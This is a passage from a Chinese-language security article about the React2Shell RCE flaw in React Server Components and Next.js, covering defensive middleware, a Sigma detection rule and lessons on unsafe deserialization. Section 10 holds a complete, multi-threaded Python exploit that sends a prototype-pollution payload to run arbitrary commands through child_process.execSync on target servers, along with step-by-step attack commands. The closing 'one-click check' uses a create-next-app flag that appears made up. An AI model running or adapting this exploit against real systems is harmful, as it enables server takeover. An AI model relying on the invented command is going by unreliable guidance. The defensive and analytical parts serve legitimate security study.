const nextAction = request.headers.get('next-action');
if (!nextAction) return NextResponse.next();
// 克隆请求以读取 body
return request.clone().text().then(body => {
for (const pattern of ATTACK_PATTERNS) {
if (pattern.test(body)) {
// 记录攻击日志
console.error('[SECURITY] React2Shell attack detected', {
ip: request.ip,
url: request.url,
nextAction,
pattern: pattern.source,
timestamp: new Date().toISOString(),
});
return new NextResponse('Forbidden', { status: 403 });
}
}
return NextResponse.next();
});
}
export const config = {
matcher: ['/((?!api/auth).*)'],
};
九、从 React2Shell 看前端安全范式的转变
9.1 前端不再是安全的避风港
React2Shell 标志着前端安全范式的一个根本性转变。传统上,前端代码运行在浏览器沙箱中,即使有 XSS 漏洞,影响也限于客户端。但 RSC 改变了这一切——前端代码现在运行在服务器上,拥有完整的系统权限。
这不是 React 独有的问题。任何将前端框架扩展到服务端执行的架构都面临类似风险:
- Nuxt 3 的 Server Routes 使用 h3 运行时
- SvelteKit 的 Server Actions 使用 Node.js 运行时
- Remix 的 Loader/Action 运行在服务端
- Astro 的 API Routes 运行在服务端
所有这些框架都需要重新审视其服务端运行时的安全边界。
9.2 序列化协议的安全陷阱
Flight 协议的问题与 Java 序列化、PHP 反序列化、Python pickle 一脉相承——允许用户控制的输入影响对象实例化过程,本质上是"数据即代码"的安全悖论。
历史反复证明:任何允许用户输入影响对象创建或属性访问的协议,最终都会被滥用。防御的关键在于:
- 严格类型校验:不允许用户输入指定类型
- 属性访问白名单:只允许访问预定义的安全属性
- 深度限制:限制递归解析的深度
- 权限分离:反序列化过程运行在受限沙箱中
9.3 零信任反序列化原则
基于 React2Shell 的教训,提出零信任反序列化原则:
- 不信任任何外部输入的数据格式:无论协议设计多么优雅,只要数据来自外部,就应该按最坏情况处理。
- 属性访问必须显式授权:任何通过协议解析触发的属性访问,都必须在白名单中明确列出。
- 执行环境与数据环境分离:反序列化过程应该在独立的受限环境中执行,不应有访问
child_process、fs等敏感模块的能力。 - 失败即拒绝:任何不符合预期的数据格式,应该立即拒绝而非尝试容错。
十、实战攻防演练:从攻击者视角看 React2Shell
10.1 攻击场景模拟
以下是一个完整的攻击场景模拟,用于安全团队内部演练:
场景一:公网暴露的 Next.js 应用
# 步骤 1:识别目标
curl -sI https://target.example.com | grep -i "x-powered-by"
# X-Powered-By: Next.js
# 步骤 2:确认版本
curl -s https://target.example.com/_next/static/chunks/app/layout.js | \
grep -o 'Next.js [0-9.]*' | head -1
# Next.js 15.3.2
# 步骤 3:安全检测
python3 scanner.py -u https://target.example.com --safe-check
# [VULNERABLE] https://target.example.com (safe-check mode)
# 步骤 4:确认利用
python3 scanner.py -u https://target.example.com
# [VULNERABLE] https://target.example.com - RCE confirmed, output: uid=33(www-data)
场景二:Dify 平台攻击
# Dify 通常部署在 /v1 或 /api 路径下
# 前端 Next.js 应用通常在根路径
# 步骤 1:发现 Dify 实例
curl -s https://dify.company.com | grep -o 'Dify'
# Dify
# 步骤 2:利用 React2Shell
# 注意:Dify 的 Next.js 应用通常有 Next-Action 路由
python3 scanner.py -u https://dify.company.com -v
# [VULNERABLE] https://dify.company.com
# Response headers:
# X-Action-Redirect: /login?a=uid=1000(dify)
10.2 防御检测规则
# Sigma 规则:检测 React2Shell 攻击
title: React2Shell (CVE-2025-55182) 攻击检测
id: 7a3b4c5d-6e7f-8a9b-0c1d-2e3f4a5b6c7d
status: stable
description: 检测针对 React Server Components 的远程代码执行攻击
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-55182
author: Security Team
date: 2025/12/05
logsource:
category: webserver
product: nginx
detection:
selection:
method: POST
header_next_action|exists: true
content_type|contains: 'multipart/form-data'
payload_indicators:
body|contains:
- '__proto__'
- 'constructor:constructor'
- 'process.mainModule'
- 'child_process'
- 'execSync'
condition: selection and payload_indicators
falsepositives:
- 合法的 Server Action 请求(极少数会包含这些关键字)
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2025-55182
10.3 红队自动化脚本
#!/usr/bin/env python3
"""
react2shell_redteam.py - 红队自动化 React2Shell 检测与利用
仅用于授权的安全测试
"""
import requests
import sys
import json
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
class React2ShellDetector:
"""React2Shell 漏洞检测器"""
def __init__(self, timeout=10, proxy=None):
self.timeout = timeout
self.proxies = {'http': proxy, 'https': proxy} if proxy else None
self.session = requests.Session()
self.session.verify = False # 测试环境使用
def _build_payload(self, cmd='echo $((41*271))', windows=False):
"""构造 React2Shell payload"""
if windows:
exec_cmd = f'powershell -c "{cmd}"'
else:
exec_cmd = cmd
prefix = (
f"var res=process.mainModule.require('child_process')"
f".execSync('{exec_cmd}').toString().trim();"
f"throw Object.assign(new Error('NEXT_REDIRECT'),"
f"{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});"
)
payload = {
"0": json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix,
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}),
"1": '"$@0"',
"2": "[]"
}
return payload
def detect(self, url, safe=False):
"""检测目标是否存在 React2Shell 漏洞"""
try:
if safe:
return self._safe_detect(url)
return self._rce_detect(url)
except Exception as e:
return {'url': url, 'status': 'error', 'error': str(e)}
def _rce_detect(self, url):
"""RCE PoC 检测模式"""
files = self._build_payload()
headers = {
'Next-Action': 'x',
'X-Nextjs-Request-Id': 'detect',
}
resp = self.session.post(
url,
files=files,
headers=headers,
timeout=self.timeout,
proxies=self.proxies,
allow_redirects=False
)
# 检查响应头中的命令输出
redirect = resp.headers.get('X-Action-Redirect', '')
location = resp.headers.get('Location', '')
if 'a=11111' in redirect or 'a=11111' in location:
return {
'url': url,
'status': 'vulnerable',
'method': 'rce-poc',
'evidence': redirect or location
}
return {'url': url, 'status': 'not_vulnerable'}
def _safe_detect(self, url):
"""安全检测模式(不执行代码)"""
# 发送不完整的 Flight 请求
headers = {
'Next-Action': 'x',
'Content-Type': 'multipart/form-data; boundary=----SafeCheck',
}
body = (
'------SafeCheck\r\n'
'Content-Disposition: form-data; name="0"\r\n\r\n'
'{"then":"$1:test"}\r\n'
'------SafeCheck--\r\n'
)
resp = self.session.post(
url,
data=body,
headers=headers,
timeout=self.timeout,
proxies=self.proxies
)
if resp.status_code == 500:
# 检查是否为 RSC 相关错误
if 'digest' in resp.text or 'NEXT_NOT_FOUND' in resp.text:
return {
'url': url,
'status': 'potentially_vulnerable',
'method': 'safe-check',
'note': 'RSC endpoint detected, manual verification needed'
}
return {'url': url, 'status': 'not_vulnerable'}
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <url|file> [--safe] [--threads 10]")
sys.exit(1)
target = sys.argv[1]
safe_mode = '--safe' in sys.argv
threads = 10
for i, arg in enumerate(sys.argv):
if arg == '--threads' and i + 1 < len(sys.argv):
threads = int(sys.argv[i + 1])
detector = React2ShellDetector()
# 单目标或文件
if target.startswith('http'):
urls = [target]
else:
with open(target) as f:
urls = [line.strip() for line in f if line.strip()]
# 多线程扫描
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(detector.detect, url, safe_mode): url for url in urls}
for future in as_completed(futures):
result = future.result()
if result['status'] == 'vulnerable':
print(f"[!!] VULNERABLE: {result['url']} ({result['method']})")
print(f" Evidence: {result.get('evidence', 'N/A')}")
elif result['status'] == 'potentially_vulnerable':
print(f"[??] POTENTIAL: {result['url']} ({result['method']})")
elif result['status'] == 'error':
print(f"[EE] ERROR: {result['url']} - {result['error']}")
else:
print(f"[OK] SAFE: {result['url']}")
if __name__ == '__main__':
main()
十一、与其他历史漏洞的横向对比
11.1 React2Shell vs Log4Shell vs Spring4Shell
| 维度 | React2Shell (CVE-2025-55182) | Log4Shell (CVE-2021-44228) | Spring4Shell (CVE-2022-22965) |
|---|---|---|---|
| CVSS | 10.0 | 10.0 | 9.8 |
| 漏洞类型 | 反序列化→原型链污染→RCE | JNDI 注入→RCE | 属性绑定→Class Loader 操作→RCE |
| 影响组件 | React 19+ / Next.js 15/16 | Apache Log4j 2.x | Spring Framework 5.3.x / 6.x |
| 默认配置受影响 | ✅ 是 | ✅ 是 | ❌ 需要特定条件 |
| 利用复杂度 | 低(14行HTTP请求) | 低(一个 JNDI URI) | 中(需要 JDK 9+ + 特定部署) |
| 回显能力 | ✅ 通过 NEXT_REDIRECT | ❌ 需要额外通道 | ❌ 需要额外通道 |
| WAF 绕过难度 | 中(multipart body 加密/填充) | 低(编码绕过) | 高(需要特定 Class Loader 操作) |
| 修复难度 | 中(升级依赖即可) | 高(Log4j 嵌入太深) | 中(升级 Spring 即可) |
| 影响范围 | Web 前端服务 | 几乎所有 Java 应用 | Java Web 应用 |
11.2 共性教训
三个漏洞虽然技术细节不同,但本质上有相同的根因:
- 过度信任外部输入:Log4j 信任日志内容中的 JNDI URI;Spring 信任请求参数中的属性路径;React 信任 multipart 请求中的 Flight 协议数据。
- 功能设计与安全边界冲突:JNDI 是为了灵活性设计的;属性绑定是为了开发便利设计的;Flight 协议的类型标记是为了高效序列化设计的。功能需求压过了安全考虑。
- 默认不安全:三个漏洞都在默认配置下可利用,而非需要特殊配置。
十二、总结与展望
12.1 React2Shell 的历史意义
React2Shell 是前端安全史上的里程碑事件。它不仅仅是一个漏洞,更是一个信号——前端框架已经从浏览器沙箱走向服务器运行时,但安全模型还停留在浏览器时代。
React Server Components 和 Server Actions 将前端代码的执行环境从浏览器搬到了 Node.js 服务器,赋予了前端代码完整的系统权限——文件系统访问、网络请求、进程创建,一切皆可。但 Flight 协议的设计却没有相应的安全升级:没有类型白名单、没有属性访问限制、没有执行沙箱、没有权限隔离。
这不是 React 的独有问题。当 Nuxt、SvelteKit、Remix 等框架都在向服务端扩展时,同样的安全欠债会不断积累。React2Shell 只是最先爆发的那一个。
12.2 对前端框架设计的启示
- 序列化协议必须是零信任的:任何从外部接收的序列化数据,都应该被视为不可信。协议解析过程中不能有任何隐式信任。
- 属性访问必须有白名单:通过协议触发的属性访问,必须限制在预定义的安全属性集合中。
__proto__、constructor、prototype等危险属性应该被无条件禁止。 - 服务端运行时需要权限隔离:前端代码在服务器上运行时,应该遵循最小权限原则。Server Actions 不应该有访问
child_process、fs等系统模块的能力。 - 安全补丁必须独立发布:安全修复不应该与业务更新混合在同一个 PR 中。独立的安全补丁便于审计、回溯和快速部署。
12.3 给开发者的行动清单
- 立即升级:如果你的项目使用了 React 19+ 或 Next.js 15/16,请立即升级到修复版本。
- 部署 WAF 规则:在升级之前,至少部署 WAF 规则拦截包含
__proto__、constructor:constructor的请求。 - 日志回溯:检查 2025 年 12 月 3 日以来的访问日志,确认是否已被利用。
- 审查依赖:检查所有使用 Next.js 的内部项目和服务,包括 Dify、Cal.com 等基于 Next.js 的开源平台。
- 制定安全规范:在团队内建立服务端前端代码的安全规范,包括权限限制、代码审计和漏洞响应流程。
# 一键检查脚本:快速评估你的项目是否受影响
npx create-next-app --check-security || \
npm ls react next | grep -E "react@19|next@1[5-6]" && \
echo "⚠️ 你的项目可能受 React2Shell 影响,请立即升级!"
React2Shell 不是终点,而是起点。当前端与后端的边界越来越模糊,安全也必须跨越这道边界。以前我们只关心 XSS 和 CSRF,现在我们需要关心反序列化、原型链污染和远程代码执行。前端安全的游戏规则,已经彻底改变了。
参考资源: